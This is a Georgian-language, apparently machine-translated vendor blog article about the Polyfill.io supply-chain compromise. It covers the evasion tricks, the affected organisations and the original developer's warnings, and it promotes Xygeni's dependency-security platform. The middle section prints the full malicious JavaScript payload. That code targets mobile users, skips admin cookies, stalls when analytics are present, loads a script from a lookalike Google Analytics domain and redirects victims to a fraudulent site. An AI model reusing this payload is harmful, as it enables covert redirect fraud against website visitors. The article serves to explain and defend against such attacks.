2024 წლის თებერვალში, Polyfill.io-ს მიწოდების ჯაჭვის შეტევა— მთავარი მაგალითია პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევები—მსოფლიოში 100 000-ზე მეტი ვებსაიტი გატეხა. ეს ინციდენტი მოიცავდა პაკეტის გატაცება, სადაც მავნე ორგანიზაცია FUNNULL-მა მოიპოვა Polyfill-ის დომენისა და GitHub რეპოზიტორიის კონტროლი და სერვისში მავნე პროგრამა შეიყვანა. მავნე პროგრამა სპეციალურად მობილური მომხმარებლების წინააღმდეგ იყო მიმართული და მათ თაღლითურ სათამაშო ვებსაიტებზე გადამისამართებდა, Polyfill-ის დინამიური კოდის მიწოდების დაუცველობების გამოყენებით, რომლებიც HTTP სათაურებსა და მომხმარებლის აგენტებზე იყო დაფუძნებული.
ტექნიკური აღწერა: როგორ მუშაობდა Polyfill შეტევა
Polyfill ფართოდ გამოიყენება თანამედროვე ვებ ფუნქციებსა და ძველ ბრაუზერებს შორის თავსებადობის უზრუნველსაყოფად. თავდამსხმელებმა გამოიყენეს პაკეტის გატაცება შეძენით cdn.polyfill.io დომენი და მავნე სკრიპტების ჩასმა. ამ შეტევას ასეთ საშიშს მავნე პროგრამის დახვეწილი ქცევა ხდიდა:
- დინამიური კოდის გენერირებაPolyfill-ის სერვისმა შექმნა მორგებული JavaScript პასუხები ვებსაიტზე წვდომის მოწყობილობის (მაგ., მობილური vs. დესკტოპი), HTTP სათაურების და მომხმარებლის აგენტების საფუძველზე. თავდამსხმელებმა ისარგებლეს ამ დინამიური ბუნებით და შეიტანეს მავნე დატვირთვა, რომელიც მორგებული იყო კონკრეტული მოწყობილობებისთვის, განსაკუთრებით მობილური ტელეფონებისთვის.
- თავის არიდების ტექნიკამავნე პროგრამა ჭკვიანი იყო. ის აჭიანურებდა შესრულებას, როდესაც აღმოჩენილი იყო ანალიტიკური სერვისები, როგორიცაა Google Analytics, რაც ხელს უშლიდა მისი ქმედებების საიტის სტატისტიკაში გამოჩენას. გარდა ამისა, ის არ აქტიურდებოდა, თუ აღმოჩენილი იყო ადმინისტრატორი მომხმარებლები ან დეველოპერები, რაც კიდევ უფრო აფერხებდა ადრეულ გამოვლენას გამართვის ან ტესტირების დროს.
- მობილური გადამისამართებაგააქტიურების შემდეგ, მავნე პროგრამა მომხმარებლებს ლეგიტიმური დომენების გაყალბებით თაღლითურ სათამაშო ვებსაიტებზე გადამისამართებდა (მაგ. googie-anaiytics.com). თავდამსხმელებმა ეჭვის შესამცირებლად დროის ფანჯრებიც კი მანიპულირებდნენ და დატვირთვას მხოლოდ გარკვეულ საათებში ასრულებდნენ, რათა მოუთმენლად დაეჭირათ მობილური მომხმარებლები.
Polyfill-ის თავდასხმის შედეგად ყველაზე დიდი დარტყმები მიაყენეს საიტებმა
ის პოლიფილის მიწოდების ჯაჭვის შეტევა გავლენა იქონია 100 000-ზე მეტ ვებსაიტზე, მათ შორის ისეთ მსხვილ ორგანიზაციებზე, როგორიცაა:
- მსოფლიო ეკონომიკური ფორუმი
- Intuit
- JSTOR
- ირლანდიის ბანკი
- Coldwell Banker
- Live Nation
- Brandeis უნივერსიტეტი
- დუბაის აეროპორტების კომპანია
- გარემოს დაცვის ფონდი
ეს გახმაურებული მსხვერპლი ხაზს უსვამს თავდასხმის გლობალურ მასშტაბს და დაუცველობას. მსხვილი ინსტიტუტები მიწოდების ჯაჭვის დარღვევისთვის.
ადრეული გაფრთხილებები და რეაგირება
ენდრიუ ბეტსიPolyfill-ის თავდაპირველმა შემქმნელმა, შეტევამდე რამდენიმე თვით ადრე, დეველოპერები გააფრთხილა, რომ შეწყვიტეთ Polyfill სერვისის გამოყენება მას შემდეგ, რაც მან დომენზე კონტროლი დაკარგა. მისი გაფრთხილება დიდწილად უგულებელყოფილი დარჩა FUNNULL-ის შეტევამდე. აღმოჩენის შემდეგ, კონტენტის მიწოდების ქსელები, როგორიცაა Cloudflare და Fastly უზრუნველყოფდა უსაფრთხო ალტერნატივებს, ხოლო ბეტსმა კიდევ ერთხელ გაუმეორა დეველოპერებს რჩევა, მთლიანად ამოეღოთ Polyfill-ის მითითებები.
დღეს არცერთ ვებსაიტს არ სჭირდება პოლიფილები. https://t.co/3xHecLPXkB ბიბლიოთეკა. ვებ პლატფორმაზე დამატებული ფუნქციების უმეტესობა სწრაფად ითვისება ყველა ძირითადი ბრაუზერის მიერ, ზოგიერთი გამონაკლისის გარდა, რომელთა პოლიშევსება ზოგადად ისედაც შეუძლებელია, მაგალითად, Web Serial და Web Bluetooth.
— ენდრიუ ბეტსი (@triblondon) თებერვალი 25, 2024
Polyfill-ის მავნე დატვირთვის მაგალითი
Polyfill-ის მიწოდების ჯაჭვის შეტევის დახვეწილობის საილუსტრაციოდ, სანსეკი გამოყენებული მავნე დატვირთვის დეტალური მაგალითი იყო მოცემული. ეს დატვირთვა დინამიურად ადაპტირდა მომხმარებლის მოწყობილობაზე, იწვევდა გადამისამართებებს თაღლითურ ვებსაიტებზე და იყენებდა ტექნიკებს აღმოჩენის თავიდან ასაცილებლად. ამ დატვირთვის ტექნიკური დაშლის უფრო დეტალური სანახავად, შეგიძლიათ იხილოთ სანსეკის სრული ანალიზი და მავნე კოდის ნიმუში.
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
რატომ მოხდა Polyfill-ის მიწოდების ჯაჭვის შეტევა?
Polyfill-ის მიწოდების ჯაჭვის შეტევა ხაზს უსვამს კრიტიკულ... მესამე მხარის დამოკიდებულებაში არსებული დაუცველობები მართვა. თანამედროვე JavaScript ეკოსისტემა მნიშვნელოვნად არის დამოკიდებული ღია კოდის ბიბლიოთეკებზე და დეველოპერები ხშირად იყენებენ ისეთ ინსტრუმენტებს, როგორიცაა npm, ამ ბიბლიოთეკების ავტომატურად ინტეგრირებისთვის. მკაცრი აუდიტის ან უწყვეტი მონიტორინგის გარეშე, კომპრომეტირებული პაკეტები შეიძლება შეუმჩნევლად გაქრეს, როგორც ეს Polyfill-ის შემთხვევაშიც შეინიშნება.
გარდა ამისა, დღევანდელ პროგრამულ გარემოში განვითარებისა და განლაგების სწრაფი ტემპი ხშირად ფუნქციონალურობასა და სიჩქარეს ანიჭებს უპირატესობას საფუძვლიან უსაფრთხოების შემოწმებებთან შედარებით. თავდამსხმელები იყენებენ ამ ხარვეზს და პოპულარულ ბიბლიოთეკებს ესხმიან თავს თავიანთი გავლენის მაქსიმიზაციის მიზნით. Polyfill-ის შემთხვევაში, როგორც კი თავდამსხმელებმა დომენზე კონტროლი მოიპოვეს, მათ გამოიყენეს ბიბლიოთეკის ფართო გამოყენება მავნე კოდის ვებსაიტების დიდ რაოდენობაში შესატანად.
ეს ინციდენტი ხაზს უსვამს მკაცრი უსაფრთხოების ზომების დანერგვის მნიშვნელობას, როგორიცაა დამოკიდებულების აუდიტის ინსტრუმენტები, რეალურ დროში მონიტორინგი და ინციდენტებზე რეაგირების ძლიერი გეგმები, მსგავსი პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევებისგან თავის დასაცავად. ორგანიზაციებმა პრიორიტეტი უნდა მიანიჭონ უსაფრთხოებას განვითარების სამუშაო პროცესებში, რათა ეფექტურად დაიცვან თავიანთი ციფრული ეკოსისტემები.
მომავალი შეტევების პრევენცია: დამოკიდებულების მართვის სიძლიერე
დამოკიდებულებების მართვისას, ქსიგენი Open Source Security პლატფორმა იყენებს დაცვის მრავალ ფენას, რომელიც შექმნილია მავნე კომპონენტების რეალურ დროში აღმოსაჩენად, კარანტინში მოსაყვანად და გამოსასწორებლად, ასევე პროგრამული უზრუნველყოფის მიწოდების ჯაჭვზე თავდასხმების თავიდან ასაცილებლად.
რეალურ დროში მავნე პროგრამების აღმოჩენაXygeni მუდმივად აკონტროლებს საჯარო რეესტრებს, სკანირებას უკეთებს საეჭვო კოდს, სანამ ის შემუშავების გარემოში მოხვდება. ეს საშუალებას იძლევა პროაქტიულად დაბლოკოს საფრთხეები, როგორიცაა Polyfill შეტევა, როგორც ეს ხაზგასმულია... ლუის როდრიგესის სტატიების სერია.
ავტომატური შეტყობინებები და კარანტინიXygeni ავტომატურად იზოლირებს კომპრომეტირებულ პაკეტებს და წარმოქმნის შეტყობინებებს, რაც დეველოპერების გუნდებს საშუალებას აძლევს სწრაფად იმოქმედონ. ინტეგრირებით CI/CD pipelines-ის მიხედვით, ნებისმიერი საფრთხის შეჩერება შესაძლებელია წარმოებაში მოხვედრამდე. Polyfill-ის ინციდენტის მსგავს შემთხვევებში, ეს ფუნქცია ხელს უშლის ფართომასშტაბიან ზემოქმედებას მავნე კოდის ადრეული შეჩერებით.
დინამიური პრიორიტეტიზაცია და SBOMXygeni დინამიურად ანიჭებს პრიორიტეტს დაუცველობებს კონტექსტის, ექსპლუატაციისა და ბიზნესზე ზემოქმედების საფუძველზე. გენერირებით რეალურ დროში პროგრამული უზრუნველყოფის მასალების ჩამონათვალი (SBOM)ორგანიზაციებს შეუძლიათ თვალყური ადევნონ ყველა მესამე მხარის კომპონენტს, რაც უზრუნველყოფს სრულ გამჭვირვალობას. ეს რეალურ დროში მონიტორინგი უმნიშვნელოვანესია ღია კოდის დამოკიდებულებების მართვისას, რაც საშუალებას იძლევა სწრაფი რეაგირება მოხდეს ისეთ ინციდენტებზე, როგორიცაა Polyfill-ის მიერ სისტემის გატაცება.
სტატიების სერიაში, ავტორი ლუის როდრიგესი, აქცენტი პროაქტიული დაცვა დეტალურად არის განხილული მავნე ღია კოდის პაკეტების წინააღმდეგ ბრძოლა. Xygeni-ს მიდგომა არა მხოლოდ რეალურ დროში აღმოჩენას მოიცავს, არამედ ავტომატიზირებულ გამოსწორების გზებსაც უზრუნველყოფს, რაც ორგანიზაციებს საშუალებას აძლევს, წარმოების შეფერხების გარეშე უსაფრთხო ვერსიებზე დაბრუნდნენ.
შეამოწმეთ ღია კოდის მავნე პაკეტები სტატიების სერია აქ, რათა მეტი გაიგოთ იმის შესახებ, თუ როგორ მართავს Xygeni ღია კოდის უსაფრთხოებას.
დაიცავით თქვენი ღია კოდის დამოკიდებულებები მავნე პროგრამებისგან
აღმოაჩინეთ პროაქტიული სტრატეგიები თქვენი ღია კოდის პროგრამული უზრუნველყოფის მავნე პროგრამებისგან დასაცავად. ჩამოტვირთეთ ჩვენი ოფიციალური დოკუმენტი მავნე პროგრამებისგან დაცვის შესახებ ძირითადი ინფორმაციის მისაღებად.
პოლიფილის შეტევის გაკვეთილები
ის Polyfill.io-ს მიწოდების ჯაჭვის შეტევა თანამედროვე ვებ-განვითარებაში მესამე მხარის დამოკიდებულების რისკების შესახებ მნიშვნელოვან გაკვეთილებს გვასწავლის.
- სიფხიზლე მესამე მხარის დამოკიდებულებებშიეს არის ყველაზე მნიშვნელოვანი დასკვნა. ორგანიზაციებმა უნდა რეგულარულად შეამოწმე, ვეტერინარი და აკონტროლე ყველა მესამე მხარის ბიბლიოთეკა, რომელსაც ისინი იყენებენ. დაუმოწმებელ დამოკიდებულებებზე ზედმეტმა დამოკიდებულებამ შეიძლება სისტემები სერიოზული რისკების წინაშე დააყენოს.
- პროაქტიული უსაფრთხოების ზომებიუწყვეტი მონიტორინგი, მაგალითად Xygeni-ის რეალურ დროში საფრთხის აღმოჩენა, შეუძლია დაუცველობის ადრეულ ეტაპზე აღმოჩენა.
- განათლებისა და მომზადებისგუნდის ყველა წევრის უახლესი საფრთხეების შესახებ ინფორმირებულობა აძლიერებს ორგანიზაციულ უსაფრთხოებას.
Polyfill-ის მიწოდების ჯაჭვის შეტევა ძლიერი შეხსენებაა იმ მზარდი საფრთხის შესახებ, რომელსაც... პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევებიეს თავდასხმები იყენებენ ფართოდ გამოყენებულ მესამე მხარის კომპონენტებში არსებულ დაუცველობას, რაც ყველა ზომის ორგანიზაციას დაუცველს ხდის. პროაქტიული უსაფრთხოების ზომების მიღებით, როგორიცაა რეალურ დროში მონიტორინგი, საფრთხის ავტომატური გამოვლენადა დამოკიდებულების ძლიერი მართვა— Xygeni-ს მიერ შემოთავაზებული ვარიანტების მსგავსად — კომპანიებს შეუძლიათ მომავალში დაიცვან თავი მსგავსი საფრთხეებისგან. Polyfill-ის მსგავსი მასშტაბური კომპრომისების თავიდან ასაცილებლად მნიშვნელოვანია სიფხიზლის შენარჩუნება და მესამე მხარის ბიბლიოთეკების ყოვლისმომცველი ზედამხედველობის შენარჩუნება.
დაიცავით თქვენი ღია კოდის დამოკიდებულებები პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის თავდასხმებისგან
ნუ მისცემთ თქვენს აპლიკაციას უფლებას, რომ მსხვერპლი გახდეს პროგრამული უზრუნველყოფის მიწოდების ჯაჭვის შეტევები Polyfill-ის მსგავსად. Xygeni-ს Open Source Security პლატფორმა გთავაზობთ რეალურ დროში მონიტორინგს, გაფართოებულ დამოკიდებულების რუკებს და ავტომატიზირებულ გამოსწორებას თქვენი განვითარების დასაცავად pipelineკომპრომეტირებული პაკეტებიდან.
აკონტროლეთ თქვენი პროგრამული უზრუნველყოფის მიწოდების ჯაჭვი დღესვე. დემო ვერსიის შენახვა და ნახეთ, როგორ შეუძლია Xygeni-ს დაიცვას თქვენი ორგანიზაცია მომავალი საფრთხეებისგან.







